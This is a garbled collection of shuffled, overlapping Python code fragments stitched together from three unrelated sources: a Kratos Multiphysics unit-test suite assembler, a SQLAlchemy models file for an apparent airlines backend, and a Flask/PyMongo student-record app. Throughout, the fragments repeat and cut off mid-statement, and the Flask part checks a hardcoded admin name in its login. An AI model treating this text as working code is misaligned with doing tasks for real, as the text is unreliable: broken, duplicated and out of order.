test suit with", "Import Kratos \"wrapper\" for unittests import KratosMultiphysics.KratosUnittest as KratosUnittest #", "BEGIN SMALL SUITE ### ### END SMALL SUITE ### ###", "STANDALONE #### SMALL #### NIGTHLY #### VALIDATION #]) #) return", "A dictionary of suites The set of suites with its", "run. Populates the test suites to run. At least, it", "Populates the test suites to run. Populates the test suites", "TESTS ## NIGTHLY TESTS ## VALIDATION TESTS def AssembleTestSuites(): '''", "of suites The set of suites with its test_cases added.", "= True else: has_external_solvers_application = False # Import the tests", "# Create a test suit with the selected tests (Small", "nightlySuite = suites['nightly'] ### BEGIN SMALL SUITE ### ### END", "END VALIDATION SUITE ### ### BEGIN VALIDATION SUITE ### #", "suit with the selected tests (Small tests): smallSuite = suites['small']", "## NIGTHLY TESTS ## VALIDATION TESTS def AssembleTestSuites(): ''' Populates", "Validation contains all # Manual list for debugging #allSuite.addTests( #KratosUnittest.TestLoader().loadTestsFromTestCases([", "# Import the tests o test_classes to create the suits", "TESTS ## VALIDATION TESTS def AssembleTestSuites(): ''' Populates the test", "#### NIGTHLY #### VALIDATION #]) #) return suites if __name__", "SUITE ### ### BEGIN NIGHTLY SUITE ### ### END VALIDATION", "small tests nightlySuite = suites['nightly'] ### BEGIN SMALL SUITE ###", "test_classes to create the suits ## SMALL TESTS ## NIGTHLY", "with the selected tests plus all small tests nightlySuite =", "should pupulate the suites: \"small\", \"nighlty\" and \"all\" Return ------", "### BEGIN VALIDATION SUITE ### # For very long tests", "all # Manual list for debugging #allSuite.addTests( #KratosUnittest.TestLoader().loadTestsFromTestCases([ #### STANDALONE", "Return ------ suites: A dictionary of suites The set of", "suites: A dictionary of suites The set of suites with", "...\") run_cpp_unit_tests.run() KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"Finished running cpp unit tests!\") KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"\\nRunning", "very long tests that should not be in nighly and", "def AssembleTestSuites(): ''' Populates the test suites to run. Populates", "dictionary of suites The set of suites with its test_cases", "#### SMALL #### NIGTHLY #### VALIDATION #]) #) return suites", "selected tests plus all small tests nightlySuite = suites['nightly'] ###", "test suites to run. Populates the test suites to run.", "create the suits ## SMALL TESTS ## NIGTHLY TESTS ##", "''' Populates the test suites to run. Populates the test", "(Small tests): smallSuite = suites['small'] # Create a test suit", "contains the smallSuite validationSuite.addTests(allSuite) # Validation contains all # Manual", "the tests o test_classes to create the suits ## SMALL", "test_cases added. ''' suites = KratosUnittest.KratosSuites # Create a test", "suites = KratosUnittest.KratosSuites # Create a test suit with the", "CSharpWrapperApplication import run_cpp_unit_tests # Import Kratos \"wrapper\" for unittests import", "has_external_solvers_application = False # Import the tests o test_classes to", "= False # Import the tests o test_classes to create", "Create a test suit with the selected tests (Small tests):", "SUITE ### ### BEGIN VALIDATION SUITE ### # For very", "validate validationSuite = suites['validation'] validationSuite.addTests(nightlySuite) ### END VALIDATION ### #", "tests that should not be in nighly and you can", "#) return suites if __name__ == '__main__': KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"\\nRunning cpp", "smallSuite validationSuite.addTests(allSuite) # Validation contains all # Manual list for", "END SMALL SUITE ### ### BEGIN NIGHTLY SUITE ### ###", "SUITE ### # For very long tests that should not", "the selected tests (Small tests): smallSuite = suites['small'] # Create", "import run_cpp_unit_tests # Import Kratos \"wrapper\" for unittests import KratosMultiphysics.KratosUnittest", "tests): smallSuite = suites['small'] # Create a test suit with", "# For very long tests that should not be in", "#### VALIDATION #]) #) return suites if __name__ == '__main__':", "for debugging #allSuite.addTests( #KratosUnittest.TestLoader().loadTestsFromTestCases([ #### STANDALONE #### SMALL #### NIGTHLY", "the selected tests plus all small tests nightlySuite = suites['nightly']", "run_cpp_unit_tests # Import Kratos \"wrapper\" for unittests import KratosMultiphysics.KratosUnittest as", "suites['all'] allSuite.addTests(nightlySuite) # Already contains the smallSuite validationSuite.addTests(allSuite) # Validation", "### ### BEGIN NIGHTLY SUITE ### ### END VALIDATION SUITE", "BEGIN NIGHTLY SUITE ### ### END VALIDATION SUITE ### ###", "long tests that should not be in nighly and you", "as CSharpWrapperApplication import run_cpp_unit_tests # Import Kratos \"wrapper\" for unittests", "the suits ## SMALL TESTS ## NIGTHLY TESTS ## VALIDATION", "Populates the test suites to run. At least, it should", "test suit with the selected tests (Small tests): smallSuite =", "tests o test_classes to create the suits ## SMALL TESTS", "tests nightlySuite = suites['nightly'] ### BEGIN SMALL SUITE ### ###", "that should not be in nighly and you can use", "= suites['validation'] validationSuite.addTests(nightlySuite) ### END VALIDATION ### # Create a", "it should pupulate the suites: \"small\", \"nighlty\" and \"all\" Return", "= KratosUnittest.KratosSuites # Create a test suit with the selected", "KratosUnittest.KratosSuites # Create a test suit with the selected tests", "to validate validationSuite = suites['validation'] validationSuite.addTests(nightlySuite) ### END VALIDATION ###", "### ### END VALIDATION SUITE ### ### BEGIN VALIDATION SUITE", "suites The set of suites with its test_cases added. '''", "test suit with the selected tests plus all small tests", "cpp unit tests ...\") run_cpp_unit_tests.run() KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"Finished running cpp unit", "suites to run. Populates the test suites to run. At", "the tests: allSuite = suites['all'] allSuite.addTests(nightlySuite) # Already contains the", "suites['small'] # Create a test suit with the selected tests", "KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"\\nRunning python tests ...\") KratosUnittest.runTests(AssembleTestSuites()) KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"Finished python tests!\")", "kratos_utilities if kratos_utilities.CheckIfApplicationsAvailable(\"ExternalSolversApplication\"): has_external_solvers_application = True else: has_external_solvers_application = False", "NIGTHLY TESTS ## VALIDATION TESTS def AssembleTestSuites(): ''' Populates the", "Import the tests o test_classes to create the suits ##", "of suites with its test_cases added. ''' suites = KratosUnittest.KratosSuites", "running cpp unit tests!\") KratosMultiphysics.Logger.PrintInfo(\"Unittests\", \"\\nRunning python tests ...\") KratosUnittest.runTests(AssembleTestSuites())", "\"small\", \"nighlty\" and \"all\" Return ------ suites: A dictionary of", "import KratosMultiphysics.kratos_utilities as kratos_utilities if kratos_utilities.CheckIfApplicationsAvailable(\"ExternalSolversApplication\"): has_external_solvers_application = True else:" ]
[ "from sqlalchemy.orm import relationship from .database import Base class Post(Base):", "\"codes\" id = Column(Integer, primary_key=True, nullable=False, index=True) code = Column(Integer,", "= \"codes\" id = Column(Integer, primary_key=True, nullable=False, index=True) code =", "image = Column(String) owner_id = Column(Integer, ForeignKey(\"users.id\")) creator = relationship(\"User\",", "= \"posts\" id = Column(Integer, primary_key=True, nullable=False, index=True) full_name =", "= relationship(\"User\", back_populates=\"posts\") class User(Base): __tablename__ = \"users\" id =", "__tablename__ = \"codes\" id = Column(Integer, primary_key=True, nullable=False, index=True) code", "= Column(Integer, ForeignKey(\"users.id\")) creator = relationship(\"User\", back_populates=\"posts\") class User(Base): __tablename__", "= Column(String, nullable=False) description = Column(String, nullable=False) percentage = Column(Float,", "relationship(\"User\", back_populates=\"posts\") class User(Base): __tablename__ = \"users\" id = Column(Integer,", "nullable=False) phone_number = Column(String, nullable=False) posts = relationship(\"Post\", back_populates=\"creator\") class", "= Column(String, nullable=False) phone_number = Column(String, nullable=False) posts = relationship(\"Post\",", "= Column(String, nullable=False) posts = relationship(\"Post\", back_populates=\"creator\") class Code(Base): __tablename__", "email = Column(String, nullable=False, unique=True) password = Column(String, nullable=False) phone_number", "nullable=False) description = Column(String, nullable=False) percentage = Column(Float, default=0.0) image", "primary_key=True, nullable=False, index=True) full_name = Column(String, nullable=False) last_place = Column(String,", "Post(Base): __tablename__ = \"posts\" id = Column(Integer, primary_key=True, nullable=False, index=True)", "\"posts\" id = Column(Integer, primary_key=True, nullable=False, index=True) full_name = Column(String,", "nullable=False, index=True) full_name = Column(String, nullable=False) last_place = Column(String, nullable=False)", "class Post(Base): __tablename__ = \"posts\" id = Column(Integer, primary_key=True, nullable=False,", "last_place = Column(String, nullable=False) description = Column(String, nullable=False) percentage =", "id = Column(Integer, primary_key=True, nullable=False, index=True) name = Column(String, nullable=False)", "Integer, String, ForeignKey, Float from sqlalchemy.orm import relationship from .database", "index=True) full_name = Column(String, nullable=False) last_place = Column(String, nullable=False) description", "__tablename__ = \"users\" id = Column(Integer, primary_key=True, nullable=False, index=True) name", "class User(Base): __tablename__ = \"users\" id = Column(Integer, primary_key=True, nullable=False,", "Column(Integer, primary_key=True, nullable=False, index=True) name = Column(String, nullable=False) email =", "= Column(Float, default=0.0) image = Column(String) owner_id = Column(Integer, ForeignKey(\"users.id\"))", "Column(String, nullable=False) phone_number = Column(String, nullable=False) posts = relationship(\"Post\", back_populates=\"creator\")", "nullable=False, index=True) name = Column(String, nullable=False) email = Column(String, nullable=False,", "Column(String, nullable=False) email = Column(String, nullable=False, unique=True) password = Column(String,", "nullable=False) email = Column(String, nullable=False, unique=True) password = Column(String, nullable=False)", "nullable=False) posts = relationship(\"Post\", back_populates=\"creator\") class Code(Base): __tablename__ = \"codes\"", "Code(Base): __tablename__ = \"codes\" id = Column(Integer, primary_key=True, nullable=False, index=True)", "ForeignKey, Float from sqlalchemy.orm import relationship from .database import Base", "Base class Post(Base): __tablename__ = \"posts\" id = Column(Integer, primary_key=True,", "import Base class Post(Base): __tablename__ = \"posts\" id = Column(Integer,", "id = Column(Integer, primary_key=True, nullable=False, index=True) full_name = Column(String, nullable=False)", "Float from sqlalchemy.orm import relationship from .database import Base class", "Column(String, nullable=False) last_place = Column(String, nullable=False) description = Column(String, nullable=False)", "= Column(String) owner_id = Column(Integer, ForeignKey(\"users.id\")) creator = relationship(\"User\", back_populates=\"posts\")", "nullable=False, unique=True) password = Column(String, nullable=False) phone_number = Column(String, nullable=False)", "import relationship from .database import Base class Post(Base): __tablename__ =", "from .database import Base class Post(Base): __tablename__ = \"posts\" id", "index=True) name = Column(String, nullable=False) email = Column(String, nullable=False, unique=True)", "Column(String) owner_id = Column(Integer, ForeignKey(\"users.id\")) creator = relationship(\"User\", back_populates=\"posts\") class", "= \"users\" id = Column(Integer, primary_key=True, nullable=False, index=True) name =", "Column(String, nullable=False) posts = relationship(\"Post\", back_populates=\"creator\") class Code(Base): __tablename__ =", "unique=True) password = Column(String, nullable=False) phone_number = Column(String, nullable=False) posts", "creator = relationship(\"User\", back_populates=\"posts\") class User(Base): __tablename__ = \"users\" id", "sqlalchemy.orm import relationship from .database import Base class Post(Base): __tablename__", "from sqlalchemy import Column, Integer, String, ForeignKey, Float from sqlalchemy.orm", "Column(Integer, primary_key=True, nullable=False, index=True) full_name = Column(String, nullable=False) last_place =", "back_populates=\"posts\") class User(Base): __tablename__ = \"users\" id = Column(Integer, primary_key=True,", "description = Column(String, nullable=False) percentage = Column(Float, default=0.0) image =", "id = Column(Integer, primary_key=True, nullable=False, index=True) code = Column(Integer, nullable=False)", "Column(String, nullable=False) percentage = Column(Float, default=0.0) image = Column(String) owner_id", "= Column(Integer, primary_key=True, nullable=False, index=True) name = Column(String, nullable=False) email", "relationship(\"Post\", back_populates=\"creator\") class Code(Base): __tablename__ = \"codes\" id = Column(Integer,", "= relationship(\"Post\", back_populates=\"creator\") class Code(Base): __tablename__ = \"codes\" id =", "Column(String, nullable=False, unique=True) password = Column(String, nullable=False) phone_number = Column(String,", "Column, Integer, String, ForeignKey, Float from sqlalchemy.orm import relationship from", "= Column(String, nullable=False, unique=True) password = Column(String, nullable=False) phone_number =", "= Column(String, nullable=False) last_place = Column(String, nullable=False) description = Column(String,", "__tablename__ = \"posts\" id = Column(Integer, primary_key=True, nullable=False, index=True) full_name", "sqlalchemy import Column, Integer, String, ForeignKey, Float from sqlalchemy.orm import", "String, ForeignKey, Float from sqlalchemy.orm import relationship from .database import", "phone_number = Column(String, nullable=False) posts = relationship(\"Post\", back_populates=\"creator\") class Code(Base):", "full_name = Column(String, nullable=False) last_place = Column(String, nullable=False) description =", "class Code(Base): __tablename__ = \"codes\" id = Column(Integer, primary_key=True, nullable=False,", "= Column(Integer, primary_key=True, nullable=False, index=True) full_name = Column(String, nullable=False) last_place", "posts = relationship(\"Post\", back_populates=\"creator\") class Code(Base): __tablename__ = \"codes\" id", "back_populates=\"creator\") class Code(Base): __tablename__ = \"codes\" id = Column(Integer, primary_key=True,", "<reponame>mezidia/mezidia-airlines-backend<filename>backend/api/models.py from sqlalchemy import Column, Integer, String, ForeignKey, Float from", "name = Column(String, nullable=False) email = Column(String, nullable=False, unique=True) password", "Column(Integer, ForeignKey(\"users.id\")) creator = relationship(\"User\", back_populates=\"posts\") class User(Base): __tablename__ =", "= Column(String, nullable=False) percentage = Column(Float, default=0.0) image = Column(String)", "password = Column(String, nullable=False) phone_number = Column(String, nullable=False) posts =", "nullable=False) percentage = Column(Float, default=0.0) image = Column(String) owner_id =", "nullable=False) last_place = Column(String, nullable=False) description = Column(String, nullable=False) percentage", "= Column(String, nullable=False) email = Column(String, nullable=False, unique=True) password =", "relationship from .database import Base class Post(Base): __tablename__ = \"posts\"", "owner_id = Column(Integer, ForeignKey(\"users.id\")) creator = relationship(\"User\", back_populates=\"posts\") class User(Base):", "ForeignKey(\"users.id\")) creator = relationship(\"User\", back_populates=\"posts\") class User(Base): __tablename__ = \"users\"", "User(Base): __tablename__ = \"users\" id = Column(Integer, primary_key=True, nullable=False, index=True)", "primary_key=True, nullable=False, index=True) name = Column(String, nullable=False) email = Column(String,", "percentage = Column(Float, default=0.0) image = Column(String) owner_id = Column(Integer,", "Column(Float, default=0.0) image = Column(String) owner_id = Column(Integer, ForeignKey(\"users.id\")) creator", "import Column, Integer, String, ForeignKey, Float from sqlalchemy.orm import relationship", ".database import Base class Post(Base): __tablename__ = \"posts\" id =", "default=0.0) image = Column(String) owner_id = Column(Integer, ForeignKey(\"users.id\")) creator =", "\"users\" id = Column(Integer, primary_key=True, nullable=False, index=True) name = Column(String,", "Column(String, nullable=False) description = Column(String, nullable=False) percentage = Column(Float, default=0.0)" ]
[ "import request app=Flask(__name__) app.config['MONGO_DBNAME']='stud' app.config['MONGO_URI']='mongodb://localhost:27017/stud' mongo=PyMongo(app) \"\"\" @app.route('/add') def add():", "in data.find(): record.append({\"Rollnumber\":rec[\"Rollnumber\"],\"StudentName\":rec[\"StudentName\"],\"Address\":rec[\"Address\"],\"Year\":rec[\"Year\"],\"Skills\":rec[\"Skills\"],\"PhoneNumber\":rec[\"PhoneNumber\"],\"EmailId\":rec[\"EmailId\"]}) app.logger.info(record) return render_template(\"display.html\", studentdata=record) if __name__ ==", "else: return render_template(\"dashboard.html\",err=\"Login Failed\") else: return render_template(\"dashboard.html\") @app.route('/form',methods=['GET', 'POST']) def", "rollno=request.form['rollno'] name=request.form['name'] address=request.form['address'] year=request.form['year'] skills=request.form['skills'] phone=request.form['phone'] email=request.form['emailid'] user.insert({\"Rollnumber\":rollno,\"StudentName\":name,\"Address\":address,\"Year\":year,\"Skills\":skills,\"PhoneNumber\":phone,\"EmailId\":email}) return redirect(url_for('dashboard'))", "url_for from flask.ext.pymongo import PyMongo from flask import request app=Flask(__name__)", "return \"Added\" @app.route('/find') def find(): user=mongo.db.users data=user.find_one({\"name\":\"Ganesh\"}) return data[\"name\"] \"\"\"", "@app.route('/display',methods=['GET', 'POST']) def display(): data=mongo.db.student record=[] for rec in data.find():", "== 'POST': name=request.form['name'] passw=request.form['password'] if name==\"admin123\" and passw==\"<PASSWORD>\": return redirect(url_for('display'))", "'POST']) def display(): data=mongo.db.student record=[] for rec in data.find(): record.append({\"Rollnumber\":rec[\"Rollnumber\"],\"StudentName\":rec[\"StudentName\"],\"Address\":rec[\"Address\"],\"Year\":rec[\"Year\"],\"Skills\":rec[\"Skills\"],\"PhoneNumber\":rec[\"PhoneNumber\"],\"EmailId\":rec[\"EmailId\"]})", "user=mongo.db.users data=user.find_one({\"name\":\"Ganesh\"}) return data[\"name\"] \"\"\" @app.route('/',methods=['GET', 'POST']) def dashboard(): if", "from flask import request app=Flask(__name__) app.config['MONGO_DBNAME']='stud' app.config['MONGO_URI']='mongodb://localhost:27017/stud' mongo=PyMongo(app) \"\"\" @app.route('/add')", "app.config['MONGO_DBNAME']='stud' app.config['MONGO_URI']='mongodb://localhost:27017/stud' mongo=PyMongo(app) \"\"\" @app.route('/add') def add(): user=mongo.db.users user.insert({\"name\":\"Ganesh\",\"age\":19}) return", "\"Added\" @app.route('/find') def find(): user=mongo.db.users data=user.find_one({\"name\":\"Ganesh\"}) return data[\"name\"] \"\"\" @app.route('/',methods=['GET',", "@app.route('/',methods=['GET', 'POST']) def dashboard(): if request.method == 'POST': name=request.form['name'] passw=request.form['password']", "app.logger.info(record) return render_template(\"display.html\", studentdata=record) if __name__ == '__main__': app.secret_key =", "redirect, url_for from flask.ext.pymongo import PyMongo from flask import request", "<reponame>Ganeshrockz/Flask-Python-Dev<filename>run.py from flask import Flask, flash, render_template, redirect, url_for from", "PyMongo from flask import request app=Flask(__name__) app.config['MONGO_DBNAME']='stud' app.config['MONGO_URI']='mongodb://localhost:27017/stud' mongo=PyMongo(app) \"\"\"", "name=request.form['name'] passw=request.form['password'] if name==\"admin123\" and passw==\"<PASSWORD>\": return redirect(url_for('display')) else: return", "skills=request.form['skills'] phone=request.form['phone'] email=request.form['emailid'] user.insert({\"Rollnumber\":rollno,\"StudentName\":name,\"Address\":address,\"Year\":year,\"Skills\":skills,\"PhoneNumber\":phone,\"EmailId\":email}) return redirect(url_for('dashboard')) else: return render_template(\"form.html\") @app.route('/display',methods=['GET',", "return render_template(\"dashboard.html\") @app.route('/form',methods=['GET', 'POST']) def form(): if request.method == 'POST':", "from flask.ext.pymongo import PyMongo from flask import request app=Flask(__name__) app.config['MONGO_DBNAME']='stud'", "return render_template(\"display.html\", studentdata=record) if __name__ == '__main__': app.secret_key = 'ganeshrockz'", "name==\"admin123\" and passw==\"<PASSWORD>\": return redirect(url_for('display')) else: return render_template(\"dashboard.html\",err=\"Login Failed\") else:", "from flask import Flask, flash, render_template, redirect, url_for from flask.ext.pymongo", "else: return render_template(\"dashboard.html\") @app.route('/form',methods=['GET', 'POST']) def form(): if request.method ==", "rec in data.find(): record.append({\"Rollnumber\":rec[\"Rollnumber\"],\"StudentName\":rec[\"StudentName\"],\"Address\":rec[\"Address\"],\"Year\":rec[\"Year\"],\"Skills\":rec[\"Skills\"],\"PhoneNumber\":rec[\"PhoneNumber\"],\"EmailId\":rec[\"EmailId\"]}) app.logger.info(record) return render_template(\"display.html\", studentdata=record) if __name__", "return render_template(\"dashboard.html\",err=\"Login Failed\") else: return render_template(\"dashboard.html\") @app.route('/form',methods=['GET', 'POST']) def form():", "else: return render_template(\"form.html\") @app.route('/display',methods=['GET', 'POST']) def display(): data=mongo.db.student record=[] for", "return data[\"name\"] \"\"\" @app.route('/',methods=['GET', 'POST']) def dashboard(): if request.method ==", "render_template(\"form.html\") @app.route('/display',methods=['GET', 'POST']) def display(): data=mongo.db.student record=[] for rec in", "mongo=PyMongo(app) \"\"\" @app.route('/add') def add(): user=mongo.db.users user.insert({\"name\":\"Ganesh\",\"age\":19}) return \"Added\" @app.route('/find')", "\"\"\" @app.route('/add') def add(): user=mongo.db.users user.insert({\"name\":\"Ganesh\",\"age\":19}) return \"Added\" @app.route('/find') def", "data[\"name\"] \"\"\" @app.route('/',methods=['GET', 'POST']) def dashboard(): if request.method == 'POST':", "display(): data=mongo.db.student record=[] for rec in data.find(): record.append({\"Rollnumber\":rec[\"Rollnumber\"],\"StudentName\":rec[\"StudentName\"],\"Address\":rec[\"Address\"],\"Year\":rec[\"Year\"],\"Skills\":rec[\"Skills\"],\"PhoneNumber\":rec[\"PhoneNumber\"],\"EmailId\":rec[\"EmailId\"]}) app.logger.info(record) return", "return redirect(url_for('dashboard')) else: return render_template(\"form.html\") @app.route('/display',methods=['GET', 'POST']) def display(): data=mongo.db.student", "email=request.form['emailid'] user.insert({\"Rollnumber\":rollno,\"StudentName\":name,\"Address\":address,\"Year\":year,\"Skills\":skills,\"PhoneNumber\":phone,\"EmailId\":email}) return redirect(url_for('dashboard')) else: return render_template(\"form.html\") @app.route('/display',methods=['GET', 'POST']) def", "'POST']) def form(): if request.method == 'POST': user=mongo.db.student rollno=request.form['rollno'] name=request.form['name']", "Failed\") else: return render_template(\"dashboard.html\") @app.route('/form',methods=['GET', 'POST']) def form(): if request.method", "passw=request.form['password'] if name==\"admin123\" and passw==\"<PASSWORD>\": return redirect(url_for('display')) else: return render_template(\"dashboard.html\",err=\"Login", "return redirect(url_for('display')) else: return render_template(\"dashboard.html\",err=\"Login Failed\") else: return render_template(\"dashboard.html\") @app.route('/form',methods=['GET',", "@app.route('/form',methods=['GET', 'POST']) def form(): if request.method == 'POST': user=mongo.db.student rollno=request.form['rollno']", "if request.method == 'POST': user=mongo.db.student rollno=request.form['rollno'] name=request.form['name'] address=request.form['address'] year=request.form['year'] skills=request.form['skills']", "request.method == 'POST': user=mongo.db.student rollno=request.form['rollno'] name=request.form['name'] address=request.form['address'] year=request.form['year'] skills=request.form['skills'] phone=request.form['phone']", "import Flask, flash, render_template, redirect, url_for from flask.ext.pymongo import PyMongo", "if name==\"admin123\" and passw==\"<PASSWORD>\": return redirect(url_for('display')) else: return render_template(\"dashboard.html\",err=\"Login Failed\")", "phone=request.form['phone'] email=request.form['emailid'] user.insert({\"Rollnumber\":rollno,\"StudentName\":name,\"Address\":address,\"Year\":year,\"Skills\":skills,\"PhoneNumber\":phone,\"EmailId\":email}) return redirect(url_for('dashboard')) else: return render_template(\"form.html\") @app.route('/display',methods=['GET', 'POST'])", "request app=Flask(__name__) app.config['MONGO_DBNAME']='stud' app.config['MONGO_URI']='mongodb://localhost:27017/stud' mongo=PyMongo(app) \"\"\" @app.route('/add') def add(): user=mongo.db.users", "render_template(\"display.html\", studentdata=record) if __name__ == '__main__': app.secret_key = 'ganeshrockz' app.run(debug=True)", "data=user.find_one({\"name\":\"Ganesh\"}) return data[\"name\"] \"\"\" @app.route('/',methods=['GET', 'POST']) def dashboard(): if request.method", "user=mongo.db.student rollno=request.form['rollno'] name=request.form['name'] address=request.form['address'] year=request.form['year'] skills=request.form['skills'] phone=request.form['phone'] email=request.form['emailid'] user.insert({\"Rollnumber\":rollno,\"StudentName\":name,\"Address\":address,\"Year\":year,\"Skills\":skills,\"PhoneNumber\":phone,\"EmailId\":email}) return", "Flask, flash, render_template, redirect, url_for from flask.ext.pymongo import PyMongo from", "render_template(\"dashboard.html\") @app.route('/form',methods=['GET', 'POST']) def form(): if request.method == 'POST': user=mongo.db.student", "@app.route('/find') def find(): user=mongo.db.users data=user.find_one({\"name\":\"Ganesh\"}) return data[\"name\"] \"\"\" @app.route('/',methods=['GET', 'POST'])", "record=[] for rec in data.find(): record.append({\"Rollnumber\":rec[\"Rollnumber\"],\"StudentName\":rec[\"StudentName\"],\"Address\":rec[\"Address\"],\"Year\":rec[\"Year\"],\"Skills\":rec[\"Skills\"],\"PhoneNumber\":rec[\"PhoneNumber\"],\"EmailId\":rec[\"EmailId\"]}) app.logger.info(record) return render_template(\"display.html\", studentdata=record)", "def add(): user=mongo.db.users user.insert({\"name\":\"Ganesh\",\"age\":19}) return \"Added\" @app.route('/find') def find(): user=mongo.db.users", "and passw==\"<PASSWORD>\": return redirect(url_for('display')) else: return render_template(\"dashboard.html\",err=\"Login Failed\") else: return", "def find(): user=mongo.db.users data=user.find_one({\"name\":\"Ganesh\"}) return data[\"name\"] \"\"\" @app.route('/',methods=['GET', 'POST']) def", "address=request.form['address'] year=request.form['year'] skills=request.form['skills'] phone=request.form['phone'] email=request.form['emailid'] user.insert({\"Rollnumber\":rollno,\"StudentName\":name,\"Address\":address,\"Year\":year,\"Skills\":skills,\"PhoneNumber\":phone,\"EmailId\":email}) return redirect(url_for('dashboard')) else: return", "import PyMongo from flask import request app=Flask(__name__) app.config['MONGO_DBNAME']='stud' app.config['MONGO_URI']='mongodb://localhost:27017/stud' mongo=PyMongo(app)", "return render_template(\"form.html\") @app.route('/display',methods=['GET', 'POST']) def display(): data=mongo.db.student record=[] for rec", "flask import Flask, flash, render_template, redirect, url_for from flask.ext.pymongo import", "find(): user=mongo.db.users data=user.find_one({\"name\":\"Ganesh\"}) return data[\"name\"] \"\"\" @app.route('/',methods=['GET', 'POST']) def dashboard():", "redirect(url_for('display')) else: return render_template(\"dashboard.html\",err=\"Login Failed\") else: return render_template(\"dashboard.html\") @app.route('/form',methods=['GET', 'POST'])", "flash, render_template, redirect, url_for from flask.ext.pymongo import PyMongo from flask", "data.find(): record.append({\"Rollnumber\":rec[\"Rollnumber\"],\"StudentName\":rec[\"StudentName\"],\"Address\":rec[\"Address\"],\"Year\":rec[\"Year\"],\"Skills\":rec[\"Skills\"],\"PhoneNumber\":rec[\"PhoneNumber\"],\"EmailId\":rec[\"EmailId\"]}) app.logger.info(record) return render_template(\"display.html\", studentdata=record) if __name__ == '__main__':", "def dashboard(): if request.method == 'POST': name=request.form['name'] passw=request.form['password'] if name==\"admin123\"", "if request.method == 'POST': name=request.form['name'] passw=request.form['password'] if name==\"admin123\" and passw==\"<PASSWORD>\":", "passw==\"<PASSWORD>\": return redirect(url_for('display')) else: return render_template(\"dashboard.html\",err=\"Login Failed\") else: return render_template(\"dashboard.html\")", "name=request.form['name'] address=request.form['address'] year=request.form['year'] skills=request.form['skills'] phone=request.form['phone'] email=request.form['emailid'] user.insert({\"Rollnumber\":rollno,\"StudentName\":name,\"Address\":address,\"Year\":year,\"Skills\":skills,\"PhoneNumber\":phone,\"EmailId\":email}) return redirect(url_for('dashboard')) else:", "flask import request app=Flask(__name__) app.config['MONGO_DBNAME']='stud' app.config['MONGO_URI']='mongodb://localhost:27017/stud' mongo=PyMongo(app) \"\"\" @app.route('/add') def", "add(): user=mongo.db.users user.insert({\"name\":\"Ganesh\",\"age\":19}) return \"Added\" @app.route('/find') def find(): user=mongo.db.users data=user.find_one({\"name\":\"Ganesh\"})", "year=request.form['year'] skills=request.form['skills'] phone=request.form['phone'] email=request.form['emailid'] user.insert({\"Rollnumber\":rollno,\"StudentName\":name,\"Address\":address,\"Year\":year,\"Skills\":skills,\"PhoneNumber\":phone,\"EmailId\":email}) return redirect(url_for('dashboard')) else: return render_template(\"form.html\")", "render_template(\"dashboard.html\",err=\"Login Failed\") else: return render_template(\"dashboard.html\") @app.route('/form',methods=['GET', 'POST']) def form(): if", "'POST': user=mongo.db.student rollno=request.form['rollno'] name=request.form['name'] address=request.form['address'] year=request.form['year'] skills=request.form['skills'] phone=request.form['phone'] email=request.form['emailid'] user.insert({\"Rollnumber\":rollno,\"StudentName\":name,\"Address\":address,\"Year\":year,\"Skills\":skills,\"PhoneNumber\":phone,\"EmailId\":email})", "'POST': name=request.form['name'] passw=request.form['password'] if name==\"admin123\" and passw==\"<PASSWORD>\": return redirect(url_for('display')) else:", "for rec in data.find(): record.append({\"Rollnumber\":rec[\"Rollnumber\"],\"StudentName\":rec[\"StudentName\"],\"Address\":rec[\"Address\"],\"Year\":rec[\"Year\"],\"Skills\":rec[\"Skills\"],\"PhoneNumber\":rec[\"PhoneNumber\"],\"EmailId\":rec[\"EmailId\"]}) app.logger.info(record) return render_template(\"display.html\", studentdata=record) if", "\"\"\" @app.route('/',methods=['GET', 'POST']) def dashboard(): if request.method == 'POST': name=request.form['name']", "def display(): data=mongo.db.student record=[] for rec in data.find(): record.append({\"Rollnumber\":rec[\"Rollnumber\"],\"StudentName\":rec[\"StudentName\"],\"Address\":rec[\"Address\"],\"Year\":rec[\"Year\"],\"Skills\":rec[\"Skills\"],\"PhoneNumber\":rec[\"PhoneNumber\"],\"EmailId\":rec[\"EmailId\"]}) app.logger.info(record)", "data=mongo.db.student record=[] for rec in data.find(): record.append({\"Rollnumber\":rec[\"Rollnumber\"],\"StudentName\":rec[\"StudentName\"],\"Address\":rec[\"Address\"],\"Year\":rec[\"Year\"],\"Skills\":rec[\"Skills\"],\"PhoneNumber\":rec[\"PhoneNumber\"],\"EmailId\":rec[\"EmailId\"]}) app.logger.info(record) return render_template(\"display.html\",", "@app.route('/add') def add(): user=mongo.db.users user.insert({\"name\":\"Ganesh\",\"age\":19}) return \"Added\" @app.route('/find') def find():", "redirect(url_for('dashboard')) else: return render_template(\"form.html\") @app.route('/display',methods=['GET', 'POST']) def display(): data=mongo.db.student record=[]", "dashboard(): if request.method == 'POST': name=request.form['name'] passw=request.form['password'] if name==\"admin123\" and", "flask.ext.pymongo import PyMongo from flask import request app=Flask(__name__) app.config['MONGO_DBNAME']='stud' app.config['MONGO_URI']='mongodb://localhost:27017/stud'", "'POST']) def dashboard(): if request.method == 'POST': name=request.form['name'] passw=request.form['password'] if", "== 'POST': user=mongo.db.student rollno=request.form['rollno'] name=request.form['name'] address=request.form['address'] year=request.form['year'] skills=request.form['skills'] phone=request.form['phone'] email=request.form['emailid']", "user.insert({\"Rollnumber\":rollno,\"StudentName\":name,\"Address\":address,\"Year\":year,\"Skills\":skills,\"PhoneNumber\":phone,\"EmailId\":email}) return redirect(url_for('dashboard')) else: return render_template(\"form.html\") @app.route('/display',methods=['GET', 'POST']) def display():", "user.insert({\"name\":\"Ganesh\",\"age\":19}) return \"Added\" @app.route('/find') def find(): user=mongo.db.users data=user.find_one({\"name\":\"Ganesh\"}) return data[\"name\"]", "record.append({\"Rollnumber\":rec[\"Rollnumber\"],\"StudentName\":rec[\"StudentName\"],\"Address\":rec[\"Address\"],\"Year\":rec[\"Year\"],\"Skills\":rec[\"Skills\"],\"PhoneNumber\":rec[\"PhoneNumber\"],\"EmailId\":rec[\"EmailId\"]}) app.logger.info(record) return render_template(\"display.html\", studentdata=record) if __name__ == '__main__': app.secret_key", "app=Flask(__name__) app.config['MONGO_DBNAME']='stud' app.config['MONGO_URI']='mongodb://localhost:27017/stud' mongo=PyMongo(app) 